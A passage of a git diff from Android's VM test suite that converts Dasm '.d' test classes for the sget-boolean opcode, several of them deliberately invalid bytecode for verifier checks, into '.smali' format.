diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_14.d
deleted file mode 100644
index 90de215..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_14.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_boolean_14.java
-.class public dot.junit.opcodes.sget_boolean.d.T_sget_boolean_14
-.super java/lang/Object
-
-.field public static i1 Ljava/lang/Object;
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-boolean v0, dot.junit.opcodes.sget_boolean.d.T_sget_boolean_14.i1 Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_14.smali
new file mode 100644
index 0000000..542f4df
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_14.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_14;
+.super Ljava/lang/Object;
+.source "T_sget_boolean_14.java"
+
+
+# static fields
+.field public static i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    sget-boolean v0, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_14;->i1:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_15.d
deleted file mode 100644
index e09d93c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_15.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_boolean_15.java
-.class public dot.junit.opcodes.sget_boolean.d.T_sget_boolean_15
-.super java/lang/Object
-
-.field public static i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-boolean v0, dot.junit.opcodes.sget_boolean.d.T_sget_boolean_15.i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_15.smali
new file mode 100644
index 0000000..2857420
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_15.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_boolean_15.java"
+.class  public Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_15;
+.super  Ljava/lang/Object;
+
+.field public static i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-boolean v0, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_15;->i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_16.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_16.d
deleted file mode 100644
index f6c3529..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_16.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_boolean_16.java
-.class public dot.junit.opcodes.sget_boolean.d.T_sget_boolean_16
-.super java/lang/Object
-
-.field public static i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-boolean v0, dot.junit.opcodes.sget_boolean.d.T_sget_boolean_16.i1 I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_16.smali
new file mode 100644
index 0000000..e5f626b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_16.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_boolean_16.java"
+.class  public Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_16;
+.super  Ljava/lang/Object;
+
+.field public static i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-boolean v0, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_16;->i1:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_17.d
deleted file mode 100644
index 25cadc8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_17.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_boolean_17.java
-.class public dot.junit.opcodes.sget_boolean.d.T_sget_boolean_17
-.super java/lang/Object
-
-.field public static i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-boolean v0, dot.junit.opcodes.sget_boolean.d.T_sget_boolean_17.i1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_17.smali
new file mode 100644
index 0000000..85d9da3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_17.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_boolean_17.java"
+.class  public Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_17;
+.super  Ljava/lang/Object;
+
+.field public static i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-boolean v0, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_17;->i1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_18.d
deleted file mode 100644
index 871ff9b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_18.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_boolean_18.java
-.class public dot.junit.opcodes.sget_boolean.d.T_sget_boolean_18
-.super java/lang/Object
-
-.field public static i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-boolean v0, dot.junit.opcodes.sget_boolean.d.T_sget_boolean_18.i1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_18.smali
new file mode 100644
index 0000000..cb76be7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_18.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_boolean_18.java"
+.class  public Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_18;
+.super  Ljava/lang/Object;
+
+.field public static i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-boolean v0, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_18;->i1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_19.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_19.d
deleted file mode 100644
index 1f4f9e8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_19.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_boolean_19.java
-.class public dot.junit.opcodes.sget_boolean.d.T_sget_boolean_19
-.super java/lang/Object
-
-.field public static i1 D
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-boolean v0, dot.junit.opcodes.sget_boolean.d.T_sget_boolean_19.i1 D
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_19.smali
new file mode 100644
index 0000000..1bd8830
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_19.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_boolean_19.java"
+.class  public Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_19;
+.super  Ljava/lang/Object;
+
+.field public static i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-boolean v0, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_19;->i1:D
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_20.d
deleted file mode 100644
index 79d51ff..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_20.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_boolean_20.java
-.class public dot.junit.opcodes.sget_boolean.d.T_sget_boolean_20
-.super java/lang/Object
-
-.field public static i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-boolean v0, dot.junit.opcodes.sget_boolean.d.T_sget_boolean_20.i1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_20.smali
new file mode 100644
index 0000000..a9c9d3b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_20.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_boolean_20.java"
+.class  public Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_20;
+.super  Ljava/lang/Object;
+
+.field public static i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-boolean v0, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_20;->i1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_3.d
deleted file mode 100644
index c3271ba..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_boolean_3.java
-.class public dot.junit.opcodes.sget_boolean.d.T_sget_boolean_3
-.super java/lang/Object
-
-.field public static i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-boolean v3, dot.junit.opcodes.sget_boolean.d.T_sget_boolean_3.i1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_3.smali
new file mode 100644
index 0000000..0ccf40b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_boolean_3.java"
+.class  public Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_3;
+.super  Ljava/lang/Object;
+
+.field public static i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-boolean v3, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_3;->i1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_4.d
deleted file mode 100644
index 2ef169f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_boolean_4.java
-.class public dot.junit.opcodes.sget_boolean.d.T_sget_boolean_4
-.super java/lang/Object
-
-.field public static i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Z
-.limit regs 3
-
-       sget-boolean v1, dot.junit.opcodes.sget_boolean.d.T_sget_boolean_4.i1 Z
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_4.smali
new file mode 100644
index 0000000..47494bd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_boolean_4.java"
+.class  public Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_4;
+.super  Ljava/lang/Object;
+
+.field public static i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 3
+
+       sget-boolean v1, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_4;->i1:Z
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_5.d
deleted file mode 100644
index 8edf874..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_5.d
+++ /dev/null
@@ -1,38 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_boolean_5.java
-.class public dot.junit.opcodes.sget_boolean.d.T_sget_boolean_5
-.super java/lang/Object
-
-.field public i1 Z
-
-.method public <init>()V
-.limit regs 4
-
-       invoke-direct {v3}, java/lang/Object/<init>()V
-
-       const/4 v2, 1
-       iput-boolean v2, v3, dot.junit.opcodes.sget_boolean.d.T_sget_boolean_5.i1 Z
-       return-void
-.end method
-
-.method public run()Z
-.limit regs 3
-
-       sget-boolean v1, dot.junit.opcodes.sget_boolean.d.T_sget_boolean_5.i1 Z
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_5.smali
new file mode 100644
index 0000000..7843f12
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_5.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_boolean_5.java"
+.class  public Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_5;
+.super  Ljava/lang/Object;
+
+.field public i1:Z
+
+.method public constructor <init>()V
+.registers 4
+
+       invoke-direct {v3}, Ljava/lang/Object;-><init>()V
+
+       const/4 v2, 1
+       iput-boolean v2, v3, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_5;->i1:Z
+       return-void
+.end method
+
+.method public run()Z
+.registers 3
+
+       sget-boolean v1, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_5;->i1:Z
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_6.d
deleted file mode 100644
index 2bd59dc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_boolean_6.java
-.class public dot.junit.opcodes.sget_boolean.d.T_sget_boolean_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Z
-.limit regs 3
-
-       sget-boolean v1, dot.junit.opcodes.sget_boolean.TestStubs.TestStubField Z
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_6.smali
new file mode 100644
index 0000000..6e2b344
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_boolean_6.java"
+.class  public Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 3
+
+       sget-boolean v1, Ldot/junit/opcodes/sget_boolean/TestStubs;->TestStubField:Z
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_7.d
deleted file mode 100644
index 32ef38f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_7.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
